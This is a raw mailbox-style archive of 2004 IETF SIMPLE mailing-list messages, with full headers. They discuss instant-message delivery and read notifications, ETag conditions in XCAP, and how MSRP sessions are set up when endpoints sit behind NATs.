X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

Q29tbW9uIHNjZW5hcmlvOg0KWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMg
dGhlIG1lc3NhZ2UsIGZvcndhcmRzIGl0IHRvIG1lLCBJIHJlYWQgaXQuICBJcyBteSBkZXZpY2Ug
Z29pbmcgdG8gc2VuZCB5b3UgdHdvIG1lc3NhZ2VzLCBhIHByb3Zpc2lvbmFsIE1ETiBzYXlpbmcg
SSBnb3QgdGhlIG1lc3NhZ2UgYW5kIGEgZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhlIG1lc3Nh
Z2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiBteSBkZXZpY2UgZ290IHRoZSBtZXNzYWdlPw0K
DQo8PENKQj4+IFNJUCB0ZWxscyB5b3UgdGhhdCB0aGUgdHJhbnNhY3Rpb24gaGFzIGNvbXBsZXRl
ZCAtIG5vdCB0aGF0IGl0IGhhcyBiZWVuIGRlbGl2ZXJlZCB0byB5b3VyIGRldmljZS4gIFNheSBJ
IHNlbmQgeW91IGEgbWVzc2FnZSAtIHlvdXIgbW9iaWxlIGhhbmRzZXQgaXMgdHVybmVkIG9mZiAt
IHNvIG15IGxvY2FsIHN0b3JhZ2UgcmV0cmlldmFsIHNlcnZpY2UgcmV0dXJucyBhIDJ4eCAtIHRo
aXMgZG9lc24ndCBtZWFuIHRoYXQgdGhlIG1lc3NhZ2UgaGFzIGJlZW4gZGVsaXZlcmVkICsgcmVh
ZC4NCiANCllvdSBhcmUgYWxzbyBhc3N1bWluZyB0aGF0IGEgdXNlciByZWFkcyBhIG1lc3NhZ2Ug
YXMgc29vbiBhcyBpdCBpcyByZWNlaXZlZC4gDQoNCiANCg0KDQpMaWtlbHkgU2NlbmFyaW86DQpZ
b3Ugc2VuZCBtZSBhbiBJTS4gIE15IGRldmljZSByZWNlaXZlcyB0aGUgbWVzc2FnZSwgY3JlYXRl
cyBhIHByb3Zpc2lvbmFsIE1ETiwgYmVjYXVzZSBteSBkZXZpY2UgaXMgb25saW5lLiAgVGhlIE1E
TiBzYXlzIHRoZSByZWxheSBoYXMgcmVjZWl2ZWQgdGhlIG1lc3NhZ2UsIGJ1dCBoYXMgbm90IGRl
bGl2ZXJlZCBpdC4NCg0KVW5mb3J0dW5hdGVseSwgSSd2ZSB0dXJuZWQgb2ZmIG15IGRldmljZSwg
YmVjYXVzZSBJIGFtIGdvaW5nIHRvIEtvcmVhIGZvciBhIHdlZWsuDQoNCkFyZSB5b3Ugc3VnZ2Vz
dGluZyB0aGUgSU0gcmVsYXkgc2hvdWxkIG9wZW4gYSBzZXNzaW9uIG1vZGUgY29ubmVjdGlvbiBh
bmQgbGVhdmUgaXQgdXAgZm9yIGEgd2VlayB1bnRpbCBJIGdldCBiYWNrPw0KDQoNCg0KDQo+IC0t
LS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IENocmlzIEJvdWx0b24gW21haWx0bzpj
Ym91bHRvbkB1YmlxdWl0eS5jb21dDQo+IFNlbnQ6IE1vbmRheSwgTWFyY2ggMDEsIDIwMDQgMjow
MSBBTQ0KPiBUbzogUGF1bCBLeXppdmF0OyBFcmljIEJ1cmdlcg0KPiBDYzogc2ltcGxlQGlldGYu
b3JnDQo+IFN1YmplY3Q6IFJFOiBbU2ltcGxlXSBSRTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRz
DQo+DQo+DQo+IA0KPg0KPiAgICAgICAtLS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLQ0KPiAgICAg
ICBGcm9tOiBQYXVsIEt5eml2YXQgW21haWx0bzpwa3l6aXZhdEBjaXNjby5jb21dDQo+ICAgICAg
IFNlbnQ6IE1vbiAwMS8wMy8yMDA0IDA2OjQ0DQo+ICAgICAgIFRvOiBFcmljIEJ1cmdlcg0KPiAg
ICAgICBDYzogc2ltcGxlQGlldGYub3JnDQo+ICAgICAgIFN1YmplY3Q6IFJlOiBbU2ltcGxlXSBS
RTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRzDQo+ICAgICAgDQo+ICAgICAgDQo+DQo+DQo+DQo+
ICAgICAgIEVyaWMgQnVyZ2VyIHdyb3RlOg0KPiAgICAgICA+IEkgYWdyZWUuICBBZ2FpbiwgdGhp
cyBoaWdobGlnaHRzIHdoeSBJTUROIGlzIGF0IHRoZQ0KPiBDUElNLCBhbmQgbm90IFNJUCwgbGV2
ZWwuDQo+ICAgICAgID4NCj4gICAgICAgPiBGdXJ0aGVyLCB3aGF0IGlzIHRoZSB1c2UgY2FzZSBm
b3IgTUROIGluIHNlc3Npb24NCj4gbW9kZT8gIFdvdWxkIGFueW9uZSBFVkVSIHVzZSBpdD8gIEkg
ZG91YnQgaXQ6IGlmIHlvdSBhcmUgaW4gYQ0KPiBzZXNzaW9uLCBwcmVzdW1hYmx5IHlvdSBhcmUg
aW50ZXJhY3RpdmUsIHdoaWNoIG1lYW5zIHlvdSBoYXZlDQo+IE9PQiBtZXRob2RzIGZvciBrbm93
aW5nIHRoZSBtZXNzYWdlIHdhc24ndCByZWFkIChlLmcuLCBubw0KPiByZXNwb25zZSBmcm9tIHRo
ZSBvdGhlciBwZXJzb24pLg0KPiAgICAgIA0KPiAgICAgICBJIGFncmVlIGl0IGRvZXNuJ3Qgc2Vl
bSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1hbGx5DQo+IHdvdWxkIGJlIHVzZWQuIEJ1dA0KPiAg
ICAgICB0aGVyZSBtYXkgYmUgc29tZSBjYXNlcy4gSSBtYXkgd2FudCBleHBsaWNpdCBjb25maXJt
YXRpb24gdGhhdCBhDQo+ICAgICAgIHBhcnRpY3VsYXIgbWVzc2FnZSBoYXMgbm90IG9ubHkgYmVl
biBkZWxpdmVyZWQsIGJ1dA0KPiByZWFkLiAoVGhpcyBtaWdodA0KPiAgICAgICByZXF1aXJlIHRo
ZSBVQVMgdG8gZGVtYW5kIHNvbWUgZXhwbGljaXQgY29uZmlybWF0aW9uDQo+IGZyb20gdGhlIGVu
ZCB1c2VyDQo+ICAgICAgIGJlZm9yZSBzZW5kaW5nIHRoZSBjb25maXJtYXRpb24uKQ0KPg0KPiAg
ICAgICA8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5seSB0aGUgcmVhc29uIEkgYWxsb3dlZCBmb3IN
Cj4gbW9yZSB0aGFuIG9uZSByZWNlaXB0IHBlciB0cmFuc2FjdGlvbi4gIFRoZSBub3Rpb24gb2YN
Cj4gZGVsaWV2ZXJ5ICsgcmVhZCByZWNlaXB0cyBpcyBzb21ldGhpbmcgdGhhdCBpcyBxdWl0ZQ0K
PiBiZW5lZmljaWFsICsgY29waWVzIGN1cnJlbnQgU01TLg0KPg0KPiAgICAgIA0KPiAgICAgIA0K
PiAgICAgICBBbm90aGVyIGNhc2UgaXMgd2l0aCBhbiBJTSBjb25mZXJlbmNlLiBJZiBJIHNlbmQg
YQ0KPiBtZXNzYWdlIHRvIHRoZSBtaXhlciwNCj4gICAgICAgcmVxdWVzdGluZyBjb25maXJtYXRp
b24sIGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbg0KPiBlbmQtdG8tYWxsLWVuZHMNCj4gICAgICAg
Y29uZmlybWF0aW9uLiBUaGUgbWl4ZXIgd291bGQgaGF2ZSB0byByZXF1ZXN0IGFuZA0KPiByZWNl
aXZlIGNvbmZpcm1hdGlvbg0KPiAgICAgICBmcm9tIGFsbCByZWNpcGllbnRzIGJlZm9yZSBjb25m
aXJtaW5nIHRvIHNlbmRlci4NCj4gICAgICANCj4gICAgICAgPiBHaXZlbiB0aGF0IGFzc2VydGlv
biwgY2FuIHdlIHNheSBJTUROJ3MgYXJlIHBhZ2UgbW9kZQ0KPiBtZXNzYWdlcy4NCj4gICAgICAN
Cj4gICAgICAgQmFzZWQgb24gYWJvdmUsIEkgc2F5IE5PLg0KPg0KPiAgICAgICA8PENKQj4+IFNv
cnJ5IFBhdWwsIEknbSB3aXRoIEVyaWMgYW5kIHN0aWxsIGp1c3QgZG9uJ3QNCj4gc2VlIHdoZW4g
dGhpcyB3b3VsZCBiZSB1c2VkLg0KPiAgICAgIA0KPiAgICAgICAgICAgICAgIFBhdWwNCj4gICAg
ICANCj4gICAgICANCj4gICAgICAgX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX18NCj4gICAgICAgU2ltcGxlIG1haWxpbmcgbGlzdA0KPiAgICAgICBTaW1wbGVA
aWV0Zi5vcmcNCj4gICAgICAgaHR0cHM6Ly93d3cxLmlldGYub3JnL21haWxtYW4vbGlzdGluZm8v
c2ltcGxlDQo+IDxodHRwczovL3d3dzEuaWV0Zi5vcmcvbWFpbG1hbi9saXN0aW5mby9zaW1wbGU+
DQo+ICAgICAgDQo+DQo+DQo+DQo+IFRoaXMgbWVzc2FnZSBoYXMgYmVlbiBzY2FubmVkIGZvciB2
aXJ1c2VzIGJ5IE1haWxDb250cm9sIC0NCnd3dy5tYWlsY29udHJvbC5jb20NCkop6ZqKWFgoV3oI
bT8gMCd+ZmZYKd+jIl4NCg0K

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 02:34:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06850
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 02:34:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQtK-0002RH-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:34:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQsM-0002GN-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:33:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQrN-00025T-00; Wed, 03 Mar 2004 02:32:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQrN-0008NQ-HF; Wed, 03 Mar 2004 02:32:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQqo-0008Gw-Vw
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:31:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05631
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:31:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQqR-0001u3-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:31:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQpY-0001WT-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:30:12 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQne-0000xE-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:28:14 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237SEC16472
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:14 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:28:14 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237SEq9023547
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:14 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00p72d3h; Wed, 03 Mar 2004 09:28:13 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237SC709123
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:12 +0200 (EET)
Received: from nokia.com ([10.162.253.27]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:28:12 +0200
Message-ID: <4045890B.1080503@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: simple@ietf.org
Subject: Re: [Simple] Etags issue in XCAP
References: <40452ED0.9090206@nokia.com> <1078297400.14408.12.camel@xitami.research.nokia.com>
In-Reply-To: <1078297400.14408.12.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 07:28:12.0568 (UTC) FILETIME=[15C6B980:01C400F1]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:28:11 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jari Urpalainen wrote:
> 
> As in rfc2616 "If-Match: *" is allowed it would IMHO do the trick.
> 

Yeah, someone else also pointed this out to me (douh!). Also, sending 
the request without any kind of condition would do the trick.

Cheers,
Aki

> BR, 
> Jari
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 02:35:21 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA07023
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 02:35:16 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQtz-0000nm-VY
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 02:34:48 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i237YlEd003073
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 02:34:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQtz-0000nL-FU
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 02:34:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06853
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 02:34:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQtM-0002RU-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:34:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQsN-0002GU-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:33:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQrN-00025T-00; Wed, 03 Mar 2004 02:32:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQrN-0008NQ-HF; Wed, 03 Mar 2004 02:32:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQqo-0008Gw-Vw
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:31:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05631
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:31:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQqR-0001u3-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:31:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQpY-0001WT-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:30:12 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQne-0000xE-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:28:14 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237SEC16472
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:14 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:28:14 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237SEq9023547
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:14 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00p72d3h; Wed, 03 Mar 2004 09:28:13 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237SC709123
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:28:12 +0200 (EET)
Received: from nokia.com ([10.162.253.27]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:28:12 +0200
Message-ID: <4045890B.1080503@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jari Urpalainen <Jari.Urpalainen@nokia.com>
CC: simple@ietf.org
Subject: Re: [Simple] Etags issue in XCAP
References: <40452ED0.9090206@nokia.com> <1078297400.14408.12.camel@xitami.research.nokia.com>
In-Reply-To: <1078297400.14408.12.camel@xitami.research.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 07:28:12.0568 (UTC) FILETIME=[15C6B980:01C400F1]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:28:11 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Jari Urpalainen wrote:
> 
> As in rfc2616 "If-Match: *" is allowed it would IMHO do the trick.
> 

Yeah, someone else also pointed this out to me (douh!). Also, sending 
the request without any kind of condition would do the trick.

Cheers,
Aki

> BR, 
> Jari
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 03:00:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08623
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 03:00:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJE-0007ie-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:00:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRHb-0007ME-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:59:12 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRGY-00070O-00; Wed, 03 Mar 2004 02:58:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyRBm-0005ZD-6a; Wed, 03 Mar 2004 02:53:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRBf-0007bF-9u; Wed, 03 Mar 2004 02:53:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRAa-0007PR-3u
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:52:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08018
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:51:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRAC-0004zd-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR9H-0004oz-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:50:36 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR8i-0004dj-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:50:00 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i237nK0p028961;
	Wed, 3 Mar 2004 01:49:21 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRMB>; Wed, 3 Mar 2004 01:49:20 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 01:49:18 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

That's all great. Now tell me how it works using
the Cisco 7960 sitting on my desk right now. Assume
that upgrading the software is not an option.

/a

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 20:09
> To: Adam Roach
> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> There are a couple of solutions to the bad user experience 
> you outline:
> 
> - the UAC can use callerprefs to indicate what media it desires.
>    For this to work the UAS would have to evaluate the callerprefs,
>    which isn't currently required or expected.
> 
> - preconditions could be used to ensure that there is a satisfactory
>    agreement on media before alerting. In this particular 
> case it would
>    be the UAS that inserts the preconditions as a way of improving the
>    user experience at its end. Most any precondition would do, though
>    the newly proposed connectivity precondition would be quite
>    appropriate. A hypothetical new precondition relating to 
> negotiation
>    of some acceptable (set of) media stream(s) might also be 
> interesting.
> 
> Paul
> 
> Adam Roach wrote:
> > Okay, so, the user experience you're promoting
> > here would lead to a situation in which you open
> > up your IM client, type in a message for me,
> > and my desktop hard phone starts ringing. Several
> > seconds later, I pick up the receiver, my hardphone
> > sends a "200 OK" response, and... well, nothing
> > good can come of any result at this point.
> > 
> > If your client supports audio, my voice is suddenly
> > coming out of your PC speakers. If not, the call
> > is torn down, your client renders an error to you,
> > sends me a bye, and I'm sitting there holding a dead
> > handset.
> > 
> > This is the problem that I've pointed out occasionally
> > for several years: this "send an INVITE with no body"
> > approach for setting up sessions causes all kinds
> > of problems. It was originally added for interwork
> > with the prehistoric H.323v1 procedures, and not killed
> > because we observed that it can be used in this clever
> > 3pcc hack -- but it invariably leads to a message that
> > semantically means the same thing as the dialog
> > box that I sent earlier.
> > 
> > /a
> > 
> > 
> >>-----Original Message-----
> >>From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>Sent: Monday, March 01, 2004 8:38
> >>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> >>Cc: simple@ietf.org
> >>Subject: Re: [Simple] RE: MSRP & Comedia
> >>
> >>
> >>
> >>It just sends an offer with all three and then the other ends 
> >>selects. This
> >>is how SIP is today - you can send an invite with no offer 
> >>then get the
> >>offer in the response and put the answer in the ack.
> >>
> >>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> >>
> >>
> >>>From a protocol perspective, this sounds reasonable.
> >>>
> >>>I think the key problem is that the first example shifts the
> >>>decision of what type of communication is requested
> >>>from the caller to the callee. Without getting into a discussion
> >>>of whether that is the "right" thing to do, it certainly is
> >>>going to differ from user expectations.
> >>>
> >>>+----------------------------------------------+
> >>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
> >>>| to start a conversation, but I have no idea  |
> >>>| what kind. Take your best guess:             |
> >>>|                                              |
> >>>|    +-------+  +-----------------+  +----+    |
> >>>|    | Voice |  | Voice and video |  | IM |    |
> >>>|    +-------+  +-----------------+  +----+    |
> >>>+----------------------------------------------+
> >>>
> >>>/a
> >>>
> >>>
> >>>>-----Original Message-----
> >>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>>Sent: Friday, February 27, 2004 0:50
> >>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >>>>Cc: simple@ietf.org
> >>>>Subject: MSRP & Comedia
> >>>>
> >>>>
> >>>>
> >>>>This is a half baked idea that I am just tossing out as food
> >>>>for thought
> >>>>
> >>>>Consider a systems where something like the UA that sends the
> >>>>answer sends
> >>>>the VISIT. 
> >>>>
> >>>>Consider the cases where A want to set up a MSRP session with B.
> >>>>
> >>>>A is behind a NAT and does not want to use a relay. A sends
> >>>>an INVITE with
> >>>>no offer. B sends an offer, gets back an answer and A 
> >>>
> >>sends the VISIT.
> >>
> >>>>A -> inv    -> B
> >>>>A <- offer  <- B
> >>>>A -> answer -> B
> >>>>A -> visit  -> B
> >>>>
> >>>>B is behind a NAT. A sends an offer and B sends an answer and
> >>>>A sends VISIT.
> >>>>A -> offer  -> B
> >>>>A <- answer <- B
> >>>>A <- visit  <- B
> >>>>
> >>>>A and B are behind NATS. A sends INVITE no offer, B knows
> >>>>relay is needed
> >>>>and gets one and sends offer.
> >>>>
> >>>>The underlying principal is basically if you don't know what
> >>>>port you are
> >>>>going to receive media at (which is the case with a NAT) you
> >>>>should not be
> >>>>making any offers and if you make an offer the assumption is
> >>>>that the other
> >>>>side and send media (a VISIT) to that and have it work.
> >>>>
> >>>>The fundamental thing I am trying to avoid is two vendors
> >>>>both saying they
> >>>>have MSRP compliant systems yet still having them fail to be
> >>>>able to talk to
> >>>>each other because they both expect the other one to host.
> >>>>
> >>>
> >>>_______________________________________________
> >>>Simple mailing list
> >>>Simple@ietf.org
> >>>https://www1.ietf.org/mailman/listinfo/simple
> >>>
